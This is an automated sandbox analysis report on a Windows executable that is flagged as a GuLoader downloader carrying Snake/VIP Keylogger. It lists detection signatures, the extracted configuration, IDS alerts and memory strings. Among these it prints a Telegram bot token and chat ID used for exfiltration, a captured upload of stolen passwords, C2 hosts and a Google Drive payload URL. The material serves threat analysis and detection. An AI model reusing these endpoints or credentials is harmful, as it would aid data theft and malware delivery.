Edit tour

Windows Analysis Report
Justificante67ab404ffe31b359e00a499e656454545.exe

Overview

General Information

Sample name:	Justificante67ab404ffe31b359e00a499e656454545.exe
Analysis ID:	1615359
MD5:	b1311507ccad8738e432250721633828
SHA1:	0a8c23e3f5f4e0c9517c5c44dd42ff4f5741f8c5
SHA256:	738b4545d501e7f240c2f1e3cf98218f703b4ee08d529c87aca5b8270aac4643
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious PE digital signature

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Justificante67ab404ffe31b359e00a499e656454545.exe (PID: 7028 cmdline: "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe" MD5: B1311507CCAD8738E432250721633828)

Justificante67ab404ffe31b359e00a499e656454545.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe" MD5: B1311507CCAD8738E432250721633828)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0", "Chat_id": "7618581100", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2049807822.00000000028B7000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Justificante67ab404ffe31b359e00a499e656454545.exe PID: 6392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Justificante67ab404ffe31b359e00a499e656454545.exe PID: 6392	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T20:00:42.201672+0100	2803305	3	Unknown Traffic	192.168.2.4	49741	104.21.32.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T20:00:40.460712+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	158.101.44.242	80	TCP
2025-02-14T20:00:41.570275+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	158.101.44.242	80	TCP
2025-02-14T20:00:42.835736+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49742	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T20:00:34.584888+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	216.58.206.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T20:00:59.066295+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49819	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T20:00:51.851507+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49773	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0/sendDocument?chat_id=7618581100&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd4dbcb03dbc38Host: api.telegram.orgContent-Length: 581

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 14 Feb 2025 19:00:51 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2151781920.0000000002747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Justificante67ab404ffe31b359e00a499e656454545.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Justificante67ab404ffe31b359e00a499e656454545.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032D91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2151781920.0000000002747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E75000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:103386%0D%0ADate%20a
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7809339088:AAEUtMa_u0dd_zBfAWh2Ah2az4h6hNs_Wg0/sendDocument?chat_id=7618
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F53000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F84000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.00000000026D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.00000000026D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/G
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2953955469.0000000031F20000.00000004.00001000.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.0000000002716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1es5vHQSxsZ5VTyJjIIWEcmn6UO_kGzRz
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2152915214.000000000277F000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.000000000272E000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2151781920.0000000002747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.000000000272E000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2151781920.0000000002747000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/C0l
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2932166073.000000000272E000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1es5vHQSxsZ5VTyJjIIWEcmn6UO_kGzRz&export=download
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E4D000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E75000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032DDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E4D000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E07000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EB6000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E69000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EDE000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003410F000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003400D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000034013000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.00000000340EB000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E6F000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EB9000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033FE8000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EB6000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E69000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EDE000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003410F000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003400D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000034013000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.00000000340EB000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E6F000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033EB9000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033FE8000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.0000000033E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2955805059.000000003405A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2116956747.0000000002747000.00000004.00000020.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000003.2117019130.000000000277E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032F84000.00000004.00000800.00020000.00000000.sdmp, Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954634470.0000000032E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_0040535C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040535C

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403348
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403348

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File created: C:\Windows\Behovsundersgelses

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_00406945	0_2_00406945
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_0040711C	0_2_0040711C
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_6FC41A98	0_2_6FC41A98
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_00406945	4_2_00406945
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0040711C	4_2_0040711C
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255D278	4_2_0255D278
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_02555370	4_2_02555370
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255C146	4_2_0255C146
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255C738	4_2_0255C738
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255D548	4_2_0255D548
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255CA08	4_2_0255CA08
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_0255E988	4_2_0255E988
